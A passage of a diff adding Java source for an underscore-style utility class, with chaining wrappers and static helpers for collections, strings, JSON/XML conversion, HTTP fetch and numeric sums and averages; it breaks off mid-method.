+    private static final int DEFAULT_TRUNC_LENGTH = 30;
+    private static final String DEFAULT_TRUNC_OMISSION = "...";
+    private static final java.util.regex.Pattern RE_LATIN_1 = java.util.regex.Pattern.compile(
+        "[\\xc0-\\xd6\\xd8-\\xde\\xdf-\\xf6\\xf8-\\xff]");
+    private static final java.util.regex.Pattern RE_PROP_NAME = java.util.regex.Pattern.compile(
+        "[^.\\[\\]]+|\\[(?:(-?\\d+(?:\\.\\d+)?)|([\"'])((?:(?!\2)\\[^\\]|\\.)*?)\2)\\]|(?=(\\.|\\[\\])(?:\4|$))");
+    private static final Map<String, String> DEBURRED_LETTERS = new LinkedHashMap<String, String>();
+    private static final Map<String, List<String>> DEFAULT_HEADER_FIELDS = new HashMap<String, List<String>>();
+    private static final Set<String> SUPPORTED_HTTP_METHODS = new HashSet<String>(
+        Arrays.asList("GET", "POST", "PUT", "DELETE"));
+    private static final int BUFFER_LENGTH_1024 = 1024;
+    private static final int RESPONSE_CODE_400 = 400;
+    private static String upper = "[A-Z\\xc0-\\xd6\\xd8-\\xde\\u0400-\\u04FF]";
+    private static String lower = "[a-z\\xdf-\\xf6\\xf8-\\xff]+";
+    private static java.util.regex.Pattern reWords = java.util.regex.Pattern.compile(
+        upper + "+(?=" + upper + lower + ")|" + upper + "?" + lower + "|" + upper + "+|[0-9]+");
+
+    static {
+        String[] deburredLetters = new String[] {
+            "\u00c0", "A", "\u00c1", "A", "\u00c2", "A", "\u00c3", "A",
+            "\u00c4", "A", "\u00c5", "A",
+            "\u00e0", "a", "\u00e1", "a", "\u00e2", "a", "\u00e3", "a",
+            "\u00e4", "a", "\u00e5", "a",
+            "\u00c7", "C", "\u00e7", "c",
+            "\u00d0", "D", "\u00f0", "d",
+            "\u00c8", "E", "\u00c9", "E", "\u00ca", "E", "\u00cb", "E",
+            "\u00e8", "e", "\u00e9", "e", "\u00ea", "e", "\u00eb", "e",
+            "\u00cC", "I", "\u00cd", "I", "\u00ce", "I", "\u00cf", "I",
+            "\u00eC", "i", "\u00ed", "i", "\u00ee", "i", "\u00ef", "i",
+            "\u00d1", "N", "\u00f1", "n",
+            "\u00d2", "O", "\u00d3", "O", "\u00d4", "O", "\u00d5", "O",
+            "\u00d6", "O", "\u00d8", "O",
+            "\u00f2", "o", "\u00f3", "o", "\u00f4", "o", "\u00f5", "o",
+            "\u00f6", "o", "\u00f8", "o",
+            "\u00d9", "U", "\u00da", "U", "\u00db", "U", "\u00dc", "U",
+            "\u00f9", "u", "\u00fa", "u", "\u00fb", "u", "\u00fc", "u",
+            "\u00dd", "Y", "\u00fd", "y", "\u00ff", "y",
+            "\u00c6", "Ae", "\u00e6", "ae",
+            "\u00de", "Th", "\u00fe", "th",
+            "\u00df", "ss"};
+        for (int index = 0; index < deburredLetters.length; index += 2) {
+            DEBURRED_LETTERS.put(deburredLetters[index], deburredLetters[index + 1]);
+        }
+        DEFAULT_HEADER_FIELDS.put("Content-Type", Arrays.asList("application/json", "charset=utf-8"));
+    }
+
+    public U(final Iterable<T> iterable) {
+        super(iterable);
+    }
+
+    public U(final String string) {
+        super(string);
+    }
+
+    public static class Chain<T> extends com.github.underscore.U.Chain<T> {
+        public Chain(final T item) {
+            super(item);
+        }
+        public Chain(final List<T> list) {
+            super(list);
+        }
+
+        public Chain<T> first() {
+            return new Chain<T>(U.first(value()));
+        }
+
+        public Chain<T> first(int n) {
+            return new Chain<T>(U.first(value(), n));
+        }
+
+        public Chain<T> firstOrNull() {
+            return new Chain<T>(U.firstOrNull(value()));
+        }
+
+        public Chain<T> firstOrNull(final Predicate<T> pred) {
+            return new Chain<T>(U.firstOrNull(value(), pred));
+        }
+
+        public Chain<T> initial() {
+            return new Chain<T>(U.initial(value()));
+        }
+
+        public Chain<T> initial(int n) {
+            return new Chain<T>(U.initial(value(), n));
+        }
+
+        public Chain<T> last() {
+            return new Chain<T>(U.last(value()));
+        }
+
+        public Chain<T> last(int n) {
+            return new Chain<T>(U.last(value(), n));
+        }
+
+        public Chain<T> lastOrNull() {
+            return new Chain<T>(U.lastOrNull(value()));
+        }
+
+        public Chain<T> lastOrNull(final Predicate<T> pred) {
+            return new Chain<T>(U.lastOrNull(value(), pred));
+        }
+
+        public Chain<T> rest() {
+            return new Chain<T>(U.rest(value()));
+        }
+
+        public Chain<T> rest(int n) {
+            return new Chain<T>(U.rest(value(), n));
+        }
+
+        public Chain<T> compact() {
+            return new Chain<T>(U.compact(value()));
+        }
+
+        public Chain<T> compact(final T falsyValue) {
+            return new Chain<T>(U.compact(value(), falsyValue));
+        }
+
+        @SuppressWarnings("unchecked")
+        public Chain flatten() {
+            return new Chain(U.flatten(value()));
+        }
+
+        public <F> Chain<F> map(final Function<? super T, F> func) {
+            return new Chain<F>(U.map(value(), func));
+        }
+
+        public <F> Chain<F> mapIndexed(final BiFunction<Integer, ? super T, F> func) {
+            return new Chain<F>(U.mapIndexed(value(), func));
+        }
+
+        public Chain<T> filter(final Predicate<T> pred) {
+            return new Chain<T>(U.filter(value(), pred));
+        }
+
+        public Chain<T> filterIndexed(final PredicateIndexed<T> pred) {
+            return new Chain<T>(U.filterIndexed(value(), pred));
+        }
+
+        public Chain<T> rejectIndexed(final PredicateIndexed<T> pred) {
+            return new Chain<T>(U.rejectIndexed(value(), pred));
+        }
+
+        public Chain<T> reject(final Predicate<T> pred) {
+            return new Chain<T>(U.reject(value(), pred));
+        }
+
+        public Chain<T> filterFalse(final Predicate<T> pred) {
+            return new Chain<T>(U.filterFalse(value(), pred));
+        }
+
+        public <F> Chain<F> reduce(final BiFunction<F, T, F> func, final F zeroElem) {
+            return new Chain<F>(U.reduce(value(), func, zeroElem));
+        }
+
+        public Chain<Optional<T>> reduce(final BinaryOperator<T> func) {
+            return new Chain<Optional<T>>(U.reduce(value(), func));
+        }
+
+        public <F> Chain<F> reduceRight(final BiFunction<F, T, F> func, final F zeroElem) {
+            return new Chain<F>(U.reduceRight(value(), func, zeroElem));
+        }
+
+        public Chain<Optional<T>> reduceRight(final BinaryOperator<T> func) {
+            return new Chain<Optional<T>>(U.reduceRight(value(), func));
+        }
+
+        public Chain<Optional<T>> find(final Predicate<T> pred) {
+            return new Chain<Optional<T>>(U.find(value(), pred));
+        }
+
+        public Chain<Optional<T>> findLast(final Predicate<T> pred) {
+            return new Chain<Optional<T>>(U.findLast(value(), pred));
+        }
+
+        @SuppressWarnings("unchecked")
+        public Chain<Comparable> max() {
+            return new Chain<Comparable>(U.max((Collection) value()));
+        }
+
+        public <F extends Comparable<? super F>> Chain<T> max(final Function<T, F> func) {
+            return new Chain<T>(U.max(value(), func));
+        }
+
+        @SuppressWarnings("unchecked")
+        public Chain<Comparable> min() {
+            return new Chain<Comparable>(U.min((Collection) value()));
+        }
+
+        public <F extends Comparable<? super F>> Chain<T> min(final Function<T, F> func) {
+            return new Chain<T>(U.min(value(), func));
+        }
+
+        @SuppressWarnings("unchecked")
+        public Chain<Comparable> sort() {
+            return new Chain<Comparable>(U.sort((List<Comparable>) value()));
+        }
+
+        @SuppressWarnings("unchecked")
+        public <F extends Comparable<? super F>> Chain<F> sortWith(final Comparator<F> comparator) {
+            return new Chain<F>(U.sortWith((List<F>) value(), comparator));
+        }
+
+        public <F extends Comparable<? super F>> Chain<T> sortBy(final Function<T, F> func) {
+            return new Chain<T>(U.sortBy(value(), func));
+        }
+
+        @SuppressWarnings("unchecked")
+        public <K> Chain<Map<K, Comparable>> sortBy(final K key) {
+            return new Chain<Map<K, Comparable>>(U.sortBy((List<Map<K, Comparable>>) value(), key));
+        }
+
+        public <F> Chain<Map<F, List<T>>> groupBy(final Function<T, F> func) {
+            return new Chain<Map<F, List<T>>>(U.groupBy(value(), func));
+        }
+
+        public <F> Chain<Map<F, Optional<T>>> groupBy(final Function<T, F> func,
+            final BinaryOperator<T> binaryOperator) {
+            return new Chain<Map<F, Optional<T>>>(U.groupBy(value(), func, binaryOperator));
+        }
+
+        public Chain<Map<Object, List<T>>> indexBy(final String property) {
+            return new Chain<Map<Object, List<T>>>(U.indexBy(value(), property));
+        }
+
+        public <F> Chain<Map<F, Integer>> countBy(final Function<T, F> func) {
+            return new Chain<Map<F, Integer>>(U.countBy(value(), func));
+        }
+
+        public Chain<T> shuffle() {
+            return new Chain<T>(U.shuffle(value()));
+        }
+
+        public Chain<T> sample() {
+            return new Chain<T>(U.sample(value()));
+        }
+
+        public Chain<T> sample(final int howMany) {
+            return new Chain<T>(U.newArrayList(U.sample(value(), howMany)));
+        }
+
+        public Chain<T> tap(final Consumer<T> func) {
+            U.tap(value(), func);
+            return new Chain<T>(value());
+        }
+
+        public Chain<T> forEach(final Consumer<T> func) {
+            U.forEach(value(), func);
+            return new Chain<T>(value());
+        }
+
+        public Chain<T> forEachRight(final Consumer<T> func) {
+            U.forEachRight(value(), func);
+            return new Chain<T>(value());
+        }
+
+        public Chain<Boolean> every(final Predicate<T> pred) {
+            return new Chain<Boolean>(U.every(value(), pred));
+        }
+
+        public Chain<Boolean> some(final Predicate<T> pred) {
+            return new Chain<Boolean>(U.some(value(), pred));
+        }
+
+        public Chain<Integer> count(final Predicate<T> pred) {
+            return new Chain<Integer>(U.count(value(), pred));
+        }
+
+        public Chain<Boolean> contains(final T elem) {
+            return new Chain<Boolean>(U.contains(value(), elem));
+        }
+
+        public Chain<T> invoke(final String methodName, final List<Object> args) {
+            return new Chain<T>(U.invoke(value(), methodName, args));
+        }
+
+        public Chain<T> invoke(final String methodName) {
+            return new Chain<T>(U.invoke(value(), methodName));
+        }
+
+        public Chain<Object> pluck(final String propertyName) {
+            return new Chain<Object>(U.pluck(value(), propertyName));
+        }
+
+        public <E> Chain<T> where(final List<Tuple<String, E>> properties) {
+            return new Chain<T>(U.where(value(), properties));
+        }
+
+        public <E> Chain<Optional<T>> findWhere(final List<Tuple<String, E>> properties) {
+            return new Chain<Optional<T>>(U.findWhere(value(), properties));
+        }
+
+        public Chain<T> uniq() {
+            return new Chain<T>(U.uniq(value()));
+        }
+
+        public <F> Chain<T> uniq(final Function<T, F> func) {
+            return new Chain<T>(U.newArrayList(U.uniq(value(), func)));
+        }
+
+        public Chain<T> distinct() {
+            return new Chain<T>(U.uniq(value()));
+        }
+
+        @SuppressWarnings("unchecked")
+        public <F> Chain<F> distinctBy(final Function<T, F> func) {
+            return new Chain<F>(U.newArrayList((Iterable<F>) U.uniq(value(), func)));
+        }
+
+        public Chain<T> union(final List<T> ... lists) {
+            return new Chain<T>(U.union(value(), lists));
+        }
+
+        public Chain<T> intersection(final List<T> ... lists) {
+            return new Chain<T>(U.intersection(value(), lists));
+        }
+
+        public Chain<T> difference(final List<T> ... lists) {
+            return new Chain<T>(U.difference(value(), lists));
+        }
+
+        public Chain<Integer> range(final int stop) {
+            return new Chain<Integer>(newIntegerList(U.range(stop)));
+        }
+
+        public Chain<Integer> range(final int start, final int stop) {
+            return new Chain<Integer>(newIntegerList(U.range(start, stop)));
+        }
+
+        public Chain<Integer> range(final int start, final int stop, final int step) {
+            return new Chain<Integer>(newIntegerList(U.range(start, stop, step)));
+        }
+
+        public Chain<List<T>> chunk(final int size) {
+            return new Chain<List<T>>(U.chunk(value(), size, size));
+        }
+
+        public Chain<List<T>> chunk(final int size, final int step) {
+            return new Chain<List<T>>(U.chunk(value(), size, step));
+        }
+
+        public Chain<List<T>> chunkFill(final int size, final T fillValue) {
+            return new Chain<List<T>>(U.chunkFill(value(), size, size, fillValue));
+        }
+
+        public Chain<List<T>> chunkFill(final int size, final int step, final T fillValue) {
+            return new Chain<List<T>>(U.chunkFill(value(), size, step, fillValue));
+        }
+
+        public Chain<T> cycle(final int times) {
+            return new Chain<T>(U.cycle(value(), times));
+        }
+
+        public Chain<T> interpose(final T element) {
+            return new Chain<T>(U.interpose(value(), element));
+        }
+
+        public Chain<T> interposeByList(final Iterable<T> interIter) {
+            return new Chain<T>(U.interposeByList(value(), interIter));
+        }
+
+        public Chain<T> concat(final List<T> ... lists) {
+            return new Chain<T>(U.concat(value(), lists));
+        }
+
+        public Chain<T> slice(final int start) {
+            return new Chain<T>(U.slice(value(), start));
+        }
+
+        public Chain<T> slice(final int start, final int end) {
+            return new Chain<T>(U.slice(value(), start, end));
+        }
+
+        public Chain<T> reverse() {
+            return new Chain<T>(U.reverse(value()));
+        }
+
+        public Chain<String> join() {
+            return new Chain<String>(U.join(value()));
+        }
+
+        public Chain<String> join(final String separator) {
+            return new Chain<String>(U.join(value(), separator));
+        }
+
+        public Chain<T> skip(final int numberToSkip) {
+            return new Chain<T>(value().subList(numberToSkip, value().size()));
+        }
+
+        public Chain<T> limit(final int size) {
+            return new Chain<T>(value().subList(0, size));
+        }
+
+        @SuppressWarnings("unchecked")
+        public <K, V> Chain<Map<K, V>> toMap() {
+            return new Chain<Map<K, V>>(U.toMap((Iterable<Map.Entry<K, V>>) value()));
+        }
+
+        public Chain<T> drop() {
+            return new Chain<T>(U.drop(value()));
+        }
+
+        public Chain<T> drop(final Integer n) {
+            return new Chain<T>(U.drop(value(), n));
+        }
+
+        public Chain<T> dropRight() {
+            return new Chain<T>(U.dropRight(value()));
+        }
+
+        public Chain<T> dropRight(final Integer n) {
+            return new Chain<T>(U.dropRight(value(), n));
+        }
+
+        public Chain<T> dropWhile(final Predicate<T> pred) {
+            return new Chain<T>(U.dropWhile(value(), pred));
+        }
+
+        public Chain<T> dropRightWhile(final Predicate<T> pred) {
+            return new Chain<T>(U.dropRightWhile(value(), pred));
+        }
+
+        @SuppressWarnings("unchecked")
+        public Chain<Object> fill(final Object value) {
+            return new Chain<Object>(U.fill((List<Object>) value(), value));
+        }
+
+        @SuppressWarnings("unchecked")
+        public Chain<Object> fill(final Object value, final Integer start, final Integer end) {
+            return new Chain<Object>(U.fill((List<Object>) value(), value, start, end));
+        }
+
+        public Chain<Object> flattenDeep() {
+            return new Chain<Object>(U.flattenDeep(value()));
+        }
+
+        @SuppressWarnings("unchecked")
+        public Chain<Object> pull(final Object ... values) {
+            return new Chain<Object>(U.pull((List<Object>) value(), values));
+        }
+
+        @SuppressWarnings("unchecked")
+        public Chain<Object> pullAt(final Integer ... indexes) {
+            return new Chain<Object>(U.pullAt((List<Object>) value(), indexes));
+        }
+
+        public Chain<T> remove(final Predicate<T> pred) {
+            return new Chain<T>(U.remove(value(), pred));
+        }
+
+        public Chain<T> take() {
+            return new Chain<T>(U.take(value()));
+        }
+
+        public Chain<T> takeRight() {
+            return new Chain<T>(U.takeRight(value()));
+        }
+
+        public Chain<T> take(final Integer n) {
+            return new Chain<T>(U.take(value(), n));
+        }
+
+        public Chain<T> takeRight(final Integer n) {
+            return new Chain<T>(U.takeRight(value(), n));
+        }
+
+        public Chain<T> takeWhile(final Predicate<T> pred) {
+            return new Chain<T>(U.takeWhile(value(), pred));
+        }
+
+        public Chain<T> takeRightWhile(final Predicate<T> pred) {
+            return new Chain<T>(U.takeRightWhile(value(), pred));
+        }
+
+        @SuppressWarnings("unchecked")
+        public Chain<T> xor(final List<T> list) {
+            return new Chain<T>(U.xor(value(), list));
+        }
+
+        public Chain<T> at(final Integer ... indexes) {
+            return new Chain<T>(U.at(value(), indexes));
+        }
+
+        @SuppressWarnings("unchecked")
+        public <F extends Number> Chain<F> sum() {
+            return new Chain<F>(U.sum((List<F>) value()));
+        }
+
+        public <F extends Number> Chain<F> sum(final Function<T, F> func) {
+            return new Chain<F>(U.sum(value(), func));
+        }
+
+        @SuppressWarnings("unchecked")
+        public Chain<Double> mean() {
+            return new Chain<Double>(U.mean((List<Number>) value()));
+        }
+
+        @SuppressWarnings("unchecked")
+        public Chain<Double> median() {
+            return new Chain<Double>(U.median((List<Number>) value()));
+        }
+
+        public Chain<String> camelCase() {
+            return new Chain<String>(U.camelCase((String) item()));
+        }
+
+        public Chain<String> lowerFirst() {
+            return new Chain<String>(U.lowerFirst((String) item()));
+        }
+
+        public Chain<String> upperFirst() {
+            return new Chain<String>(U.upperFirst((String) item()));
+        }
+
+        public Chain<String> capitalize() {
+            return new Chain<String>(U.capitalize((String) item()));
+        }
+
+        public Chain<String> deburr() {
+            return new Chain<String>(U.deburr((String) item()));
+        }
+
+        public Chain<Boolean> endsWith(final String target) {
+            return new Chain<Boolean>(U.endsWith((String) item(), target));
+        }
+
+        public Chain<Boolean> endsWith(final String target, final Integer position) {
+            return new Chain<Boolean>(U.endsWith((String) item(), target, position));
+        }
+
+        public Chain<String> kebabCase() {
+            return new Chain<String>(U.kebabCase((String) item()));
+        }
+
+        public Chain<String> repeat(final int length) {
+            return new Chain<String>(U.repeat((String) item(), length));
+        }
+
+        public Chain<String> pad(final int length) {
+            return new Chain<String>(U.pad((String) item(), length));
+        }
+
+        public Chain<String> pad(final int length, final String chars) {
+            return new Chain<String>(U.pad((String) item(), length, chars));
+        }
+
+        public Chain<String> padStart(final int length) {
+            return new Chain<String>(U.padStart((String) item(), length));
+        }
+
+        public Chain<String> padStart(final int length, final String chars) {
+            return new Chain<String>(U.padStart((String) item(), length, chars));
+        }
+
+        public Chain<String> padEnd(final int length) {
+            return new Chain<String>(U.padEnd((String) item(), length));
+        }
+
+        public Chain<String> padEnd(final int length, final String chars) {
+            return new Chain<String>(U.padEnd((String) item(), length, chars));
+        }
+
+        public Chain<String> snakeCase() {
+            return new Chain<String>(U.snakeCase((String) item()));
+        }
+
+        public Chain<String> startCase() {
+            return new Chain<String>(U.startCase((String) item()));
+        }
+
+        public Chain<Boolean> startsWith(final String target) {
+            return new Chain<Boolean>(U.startsWith((String) item(), target));
+        }
+
+        public Chain<Boolean> startsWith(final String target, final Integer position) {
+            return new Chain<Boolean>(U.startsWith((String) item(), target, position));
+        }
+
+        public Chain<String> trim() {
+            return new Chain<String>(U.trim((String) item()));
+        }
+
+        public Chain<String> trim(final String chars) {
+            return new Chain<String>(U.trim((String) item(), chars));
+        }
+
+        public Chain<String> trimStart() {
+            return new Chain<String>(U.trimStart((String) item()));
+        }
+
+        public Chain<String> trimStart(final String chars) {
+            return new Chain<String>(U.trimStart((String) item(), chars));
+        }
+
+        public Chain<String> trimEnd() {
+            return new Chain<String>(U.trimEnd((String) item()));
+        }
+
+        public Chain<String> trunc() {
+            return new Chain<String>(U.trunc((String) item()));
+        }
+
+        public Chain<String> trunc(final int length) {
+            return new Chain<String>(U.trunc((String) item(), length));
+        }
+
+        public Chain<String> trimEnd(final String chars) {
+            return new Chain<String>(U.trimEnd((String) item(), chars));
+        }
+
+        public Chain<String> uncapitalize() {
+            return new Chain<String>(U.uncapitalize((String) item()));
+        }
+
+        public Chain<String> words() {
+            return new Chain<String>(U.words((String) item()));
+        }
+
+        public Chain<String> toJson() {
+            return new Chain<String>(Json.toJson((Collection) value()));
+        }
+
+        public Chain<Object> fromJson() {
+            return new Chain<Object>(Json.fromJson((String) item()));
+        }
+
+        public Chain<String> toXml() {
+            return new Chain<String>(Xml.toXml((Collection) value()));
+        }
+
+        public Chain<Object> fromXml() {
+            return new Chain<Object>(Xml.fromXml((String) item()));
+        }
+
+        public Chain<String> fetch() {
+            return new Chain<String>(U.fetch((String) item()).text());
+        }
+
+        public Chain<String> fetch(final String method, final String body) {
+            return new Chain<String>(U.fetch((String) item(), method, body).text());
+        }
+
+        public Chain<List<T>> createPermutationWithRepetition(final int permutationLength) {
+            return new Chain<List<T>>(U.createPermutationWithRepetition((List<T>) value(), permutationLength));
+        }
+
+        public Chain<String> toJsonJavaString() {
+            return new Chain<String>(Json.toJsonJavaString((Collection) value()));
+        }
+
+        public Chain<String> xmlToJson() {
+            return new Chain<String>(U.xmlToJson((String) item()));
+        }
+
+        public Chain<String> jsonToXml() {
+            return new Chain<String>(U.jsonToXml((String) item()));
+        }
+    }
+
+    public static Chain<String> chain(final String item) {
+        return new U.Chain<String>(item);
+    }
+
+    public static <T> Chain<T> chain(final List<T> list) {
+        return new U.Chain<T>(list);
+    }
+
+    public static <T> Chain<T> chain(final Iterable<T> iterable) {
+        return new U.Chain<T>(newArrayList(iterable));
+    }
+
+    public static <T> Chain<T> chain(final Iterable<T> iterable, int size) {
+        return new U.Chain<T>(newArrayList(iterable, size));
+    }
+
+    public static <T> Chain<T> chain(final T ... list) {
+        return new U.Chain<T>(Arrays.asList(list));
+    }
+
+    public static Chain<Integer> chain(final int[] array) {
+        return new U.Chain<Integer>(newIntegerList(array));
+    }
+
+    public Chain<T> chain() {
+        return new U.Chain<T>(newArrayList(value()));
+    }
+
+    public static <T> List<T> drop(final Iterable<T> iterable) {
+        return rest(newArrayList(iterable));
+    }
+
+    public List<T> drop() {
+        return drop(getIterable());
+    }
+
+    public static <T> List<T> drop(final Iterable<T> iterable, final Integer n) {
+        return rest(newArrayList(iterable), n);
+    }
+
+    public List<T> drop(final Integer n) {
+        return drop(getIterable(), n);
+    }
+
+    public static <T> List<T> dropRight(final Iterable<T> iterable) {
+        return initial(newArrayList(iterable));
+    }
+
+    public List<T> dropRight() {
+        return dropRight(getIterable());
+    }
+
+    public static <T> List<T> dropRight(final Iterable<T> iterable, final Integer n) {
+        return initial(newArrayList(iterable), n);
+    }
+
+    public List<T> dropRight(final Integer n) {
+        return dropRight(getIterable(), n);
+    }
+
+    public static <T> List<T> dropWhile(final Iterable<T> iterable, final Predicate<T> pred) {
+        return rest(newArrayList(iterable), findIndex(newArrayList(iterable), negate(pred)));
+    }
+
+    public List<T> dropWhile(final Predicate<T> pred) {
+        return dropWhile(getIterable(), pred);
+    }
+
+    public static <T> List<T> dropRightWhile(final Iterable<T> iterable, final Predicate<T> pred) {
+        return reverse(dropWhile(reverse(iterable), pred));
+    }
+
+    public List<T> dropRightWhile(final Predicate<T> pred) {
+        return dropRightWhile(getIterable(), pred);
+    }
+
+    public static <T> List<T> fill(List<T> list, T item) {
+        for (int i = 0; i < size(list); i++) {
+            list.set(i, item);
+        }
+        return list;
+    }
+
+    public static <T> T[] fill(T[] array, T item) {
+        for (int i = 0; i < array.length; i++) {
+             array[i] = item;
+        }
+        return array;
+    }
+
+    @SuppressWarnings("unchecked")
+    public List<Object> fill(Object value) {
+        return fill((List<Object>) getIterable(), value);
+    }
+
+    public static List<Object> fill(final List<Object> list, Object value, Integer start, Integer end) {
+        for (int index = start; index < end; index += 1) {
+            list.set(index, value);
+        }
+        return list;
+    }
+
+    @SuppressWarnings("unchecked")
+    public List<Object> fill(Object value, Integer start, Integer end) {
+        return fill((List<Object>) getIterable(), value, start, end);
+    }
+
+    public static <E> List<E> flattenDeep(final List<?> list) {
+        return flatten(list, false);
+    }
+
+    public List<T> flattenDeep() {
+        return flattenDeep((List<?>) getIterable());
+    }
+
+    public static List<Object> pull(final List<Object> list, Object ... values) {
+        final List<Object> valuesList = Arrays.asList(values);
+        for (final Iterator<Object> iterator = list.iterator(); iterator.hasNext(); ) {
+            final Object object = iterator.next();
+            if (valuesList.contains(object)) {
+                iterator.remove();
+            }
+        }
+        return list;
+    }
+
+    @SuppressWarnings("unchecked")
+    public List<Object> pull(Object ... values) {
+        return pull((List<Object>) getIterable(), values);
+    }
+
+    public static List<Object> pullAt(final List<Object> list, final Integer ... indexes) {
+        final List<Object> result = newArrayList();
+        final List<Integer> indexesList = Arrays.asList(indexes);
+        int index = 0;
+        for (final Iterator<Object> iterator = list.iterator(); iterator.hasNext(); ) {
+            final Object object = iterator.next();
+            if (indexesList.contains(index)) {
+                result.add(object);
+                iterator.remove();
+            }
+            index += 1;
+        }
+        return result;
+    }
+
+    @SuppressWarnings("unchecked")
+    public List<Object> pullAt(final Integer ... indexes) {
+        return pullAt((List<Object>) getIterable(), indexes);
+    }
+
+    public static <T> List<T> remove(final List<T> list, final Predicate<T> pred) {
+        final List<T> result = newArrayList();
+        for (final Iterator<T> iterator = list.iterator(); iterator.hasNext(); ) {
+            final T object = iterator.next();
+            if (pred.test(object)) {
+                result.add(object);
+                iterator.remove();
+            }
+        }
+        return result;
+    }
+
+    public List<T> remove(final Predicate<T> pred) {
+        return remove((List<T>) getIterable(), pred);
+    }
+
+    public static <T> List<T> take(final Iterable<T> iterable) {
+        return first(newArrayList(iterable), 1);
+    }
+
+    public List<T> take() {
+        return take(getIterable());
+    }
+
+    public static <T> List<T> takeRight(final Iterable<T> iterable) {
+        return last(newArrayList(iterable), 1);
+    }
+
+    public List<T> takeRight() {
+        return takeRight(getIterable());
+    }
+
+    public static <T> List<T> take(final Iterable<T> iterable, final Integer n) {
+        return first(newArrayList(iterable), n);
+    }
+
+    public List<T> take(final Integer n) {
+        return take(getIterable(), n);
+    }
+
+    public static <T> List<T> takeRight(final Iterable<T> iterable, final Integer n) {
+        return last(newArrayList(iterable), n);
+    }
+
+    public List<T> takeRight(final Integer n) {
+        return takeRight(getIterable(), n);
+    }
+
+    public static <T> List<T> takeWhile(final Iterable<T> iterable, final Predicate<T> pred) {
+        return first(newArrayList(iterable), findIndex(newArrayList(iterable), negate(pred)));
+    }
+
+    public List<T> takeWhile(final Predicate<T> pred) {
+        return takeWhile(getIterable(), pred);
+    }
+
+    public static <T> List<T> takeRightWhile(final Iterable<T> iterable, final Predicate<T> pred) {
+        return reverse(takeWhile(reverse(iterable), pred));
+    }
+
+    public List<T> takeRightWhile(final Predicate<T> pred) {
+        return takeRightWhile(getIterable(), pred);
+    }
+
+    @SuppressWarnings("unchecked")
+    public static <T> List<T> xor(final List<T> ... lists) {
+        int index = -1;
+        int length = lists.length;
+        List<T> result = null;
+        while (++index < length) {
+            final List<T> array = lists[index];
+            result = result == null ? array : concat(difference(result, array), difference(array, result));
+        }
+        return uniq(result);
+    }
+
+    @SuppressWarnings("unchecked")
+    public List<T> xor(final List<T> list) {
+        return xor((List<T>) getIterable(), list);
+    }
+
+    public static <T> List<T> at(final List<T> list, final Integer ... indexes) {
+        final List<T> result = newArrayList();
+        final List<Integer> indexesList = Arrays.asList(indexes);
+        int index = 0;
+        for (final Iterator<T> iterator = list.iterator(); iterator.hasNext(); ) {
+            final T object = iterator.next();
+            if (indexesList.contains(index)) {
+                result.add(object);
+            }
+            index += 1;
+        }
+        return result;
+    }
+
+    public List<T> at(final Integer ... indexes) {
+        return at((List<T>) getIterable(), indexes);
+    }
+
+    public static <T extends Number> Double average(final Iterable<T> iterable) {
+        T sum = sum(iterable);
+        if (sum == null) {
+            return null;
+        }
+        return sum.doubleValue() / size(iterable);
+    }
+
+    public static <E, F extends  Number> Double average(final Iterable<E> iterable, final Function<E, F> func) {
+        F sum = sum(iterable, func);
+        return sum.doubleValue() / size(iterable);
+    }
+
+    public static <N extends Number> Double average(N[] array) {
+        return sum(array).doubleValue() / array.length;
+    }
+
+    public static Double average(java.math.BigDecimal first, java.math.BigDecimal second) {
+        if (first == null || second == null) {
+            return null;
+        }
+        return sum(first, second).doubleValue() / 2;
+    }
+
+    public static Double average(java.math.BigInteger first, java.math.BigInteger second) {
+        if (first == null || second == null) {
+            return null;
+        }
+      return sum(first, second).doubleValue() / 2;
+    }
+
+    public static Double average(Byte first, Byte second) {
+        if (first == null || second == null) {
+            return null;
+        }
+        return sum(first, second).doubleValue() / 2;
+    }
+
+    public static Double average(Double first, Double second) {
+        if (first == null || second == null) {
+            return null;
+        }
+        return sum(first, second) / 2;
+    }
+
+    public static Double average(Float first, Float second) {
+        if (first == null || second == null) {
+            return null;
+        }
+        return sum(first, second).doubleValue() / 2;
+    }
+
+    public static Double average(Integer first, Integer second) {
+        if (first == null || second == null) {
+            return null;
+        }
+        return sum(first, second).doubleValue() / 2;
+    }
+
+    public static Double average(Long first, Long second) {
+        if (first == null || second == null) {
+            return null;
+        }
+        return sum(first, second).doubleValue() / 2;
+    }
+
+    public static <T extends Number> T sum(final Iterable<T> iterable) {
+        T result = null;
+        for (final T item : iterable) {
+            result = add(result, item);
+        }
+        return result;
+    }
+
+    public static <E, F extends  Number> F sum(final Iterable<E> iterable, final Function<E, F> func) {
+        F result = null;
+        for (final E item : iterable) {
+            result = add(result, func.apply(item));
+        }
+        return result;
+    }
+
+    public static <N extends Number> N sum(N[] array) {
+        N result = null;
+        for (final N item : array) {
+            result = add(result, item);
+        }
+        return result;
+    }
+
+    @SuppressWarnings("unchecked")
+    public <F extends Number> F sum() {
+        return sum((List<F>) getIterable());
+    }
+
+    @SuppressWarnings("unchecked")
+    public <E, F extends  Number> F sum(final Function<E, F> func) {
+        return sum((List<E>) getIterable(), func);
+    }
+
+    @SuppressWarnings("unchecked")
+    public static <T extends Number> T add(final T first, final T second) {
+        if (first == null) {
+            return second;
+        } else if (second == null) {
+            return first;
+        } else if (first instanceof java.math.BigDecimal) {
+            return (T) sum((java.math.BigDecimal) first, (java.math.BigDecimal) second);
+        } else if (second instanceof java.math.BigInteger) {
+            return (T) sum((java.math.BigInteger) first, (java.math.BigInteger) second);
+        } else if (first instanceof Byte) {
+            return (T) sum((Byte) first, (Byte) second);
+        } else if (first instanceof Double) {
+            return (T) sum((Double) first, (Double) second);
+        } else if (first instanceof Float) {
+            return (T) sum((Float) first, (Float) second);
+        } else if (first instanceof Integer) {
+            return (T) sum((Integer) first, (Integer) second);
+        } else if (first instanceof Long) {
+            return (T) sum((Long) first, (Long) second);
+        } else if (first instanceof Short) {
+            return (T) sum((Short) first, (Short) second);
+        } else {
+            throw new UnsupportedOperationException("Sum only supports official subclasses of Number");
+        }
+    }
+
+    private static java.math.BigDecimal sum(java.math.BigDecimal first, java.math.BigDecimal second) {
+        return first.add(second);
+    }
+
+    private static java.math.BigInteger sum(java.math.BigInteger first, java.math.BigInteger second) {
+        return first.add(second);
+    }
+
+    private static Byte sum(Byte first, Byte second) {
+        return (byte) (first + second);
+    }
+
+    private static Double sum(Double first, Double second) {
+        return first + second;
+    }
+
+    private static Float sum(Float first, Float second) {
+        return first + second;
+    }
+
+    private static Integer sum(Integer first, Integer second) {
+        return first + second;
+    }
+
+    private static Long sum(Long first, Long second) {
